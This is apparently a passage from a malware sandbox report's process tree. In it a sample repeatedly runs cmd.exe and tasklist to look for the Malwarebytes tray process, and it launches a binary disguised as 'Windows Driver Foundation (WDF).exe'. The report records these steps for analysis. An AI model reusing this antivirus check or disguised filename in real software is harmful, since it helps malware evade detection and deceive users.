        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:772
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:4932
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:4632
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        8⤵
        
        PID:3456
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:3024
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2376
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3884
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3020
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:428
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:920
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4068
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:216
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:4628
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:968
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        Enumerates processes with tasklist
        
        PID:1952
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:3276
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:4780
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1876
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:1988
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:364
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1288
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4580
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4996
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:3032
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:4388
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:1544
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:1668
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:3632
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:1264
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        8⤵
        
        PID:1148
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        9⤵
        
        PID:3632
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        9⤵
        
        PID:4616
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        9⤵
        Enumerates processes with tasklist
        
        PID:1668
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3468
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3392
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:3452
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:3392
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:696
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4572
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:2940
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2276
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:1328
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2696
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:2516
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:2516
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1532
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        Enumerates processes with tasklist
        
        PID:4048
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2744
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2376
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3728
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1672
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:1908
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:512
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:4444
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:696
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3860
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1908
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3856
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1320
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4872
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3272
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2744
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3364
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2088
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:116
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:2736
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:2324
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:804
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3632
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3852
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1684
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4544
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:1536
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3688
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3388
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3456
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4376
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4960
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3632
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3364
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        Enumerates processes with tasklist
        
        PID:4164
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4428
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:4464
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1672
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:116
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:1288
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:696
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1892
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3812
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:4948
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:3760
      - C:\Windows\Windows Driver Foundation (WDF).exe
        
        "C:\Windows\Windows Driver Foundation (WDF).exe"
        6⤵
        
        PID:3764
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:5012
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4104
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2132
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1124
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:404
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:4428
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:2604
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:1692
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1148
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:2376
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:2536
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:1404
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:2152
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:3852
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:3892
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2980
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3540
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:216
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:916
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:1504
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:2012
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3948
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        Enumerates processes with tasklist
        
        PID:3800
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2980
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:2516
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:696
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:2736
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        Enumerates processes with tasklist
        
        PID:4536
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        8⤵
        
        PID:1948
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        8⤵
        
        PID:464
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        8⤵
        
        PID:1820
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        8⤵
        
        PID:3688
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2888
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:5028
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3920
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:1072
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:2304
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:1120
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        8⤵
        
        PID:2304
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        8⤵
        
        PID:2304
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:3772
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:4548
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:3732
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:3264
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4996
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:180
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3584
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:2188
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2572
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:804
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3948
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1336
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:1120
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:3732
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:1124
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4536
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2020
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1812
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        Enumerates processes with tasklist
        
        PID:1928
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:4048
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:4052
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:2456
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        8⤵
        
        PID:3032
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:2372
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        Enumerates processes with tasklist
        
        PID:4264
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2624
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4148
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:1316
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:2020
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        Enumerates processes with tasklist
        
        PID:920
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        8⤵
        
        PID:3364
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        8⤵
        
        PID:772
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        9⤵
        
        PID:3644
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        10⤵
        
        PID:1692
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        10⤵
        
        PID:3556
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        9⤵
        
        PID:1344
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:4460
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        8⤵
        
        PID:3556
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:1264
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:8
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4544
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4816
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1672
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2160
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4388
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4304
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:3388
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:3388
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1532
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3036
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:772
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:2636
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:3584
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:3032
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:4068
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3024
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:2972
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4884
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3896
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:968
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:3884
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:3540
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:2696
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3276
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:680
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:1384
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:4192
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:3024
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:1892
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3556
  - - C:\Windows\system32\cmd.exe
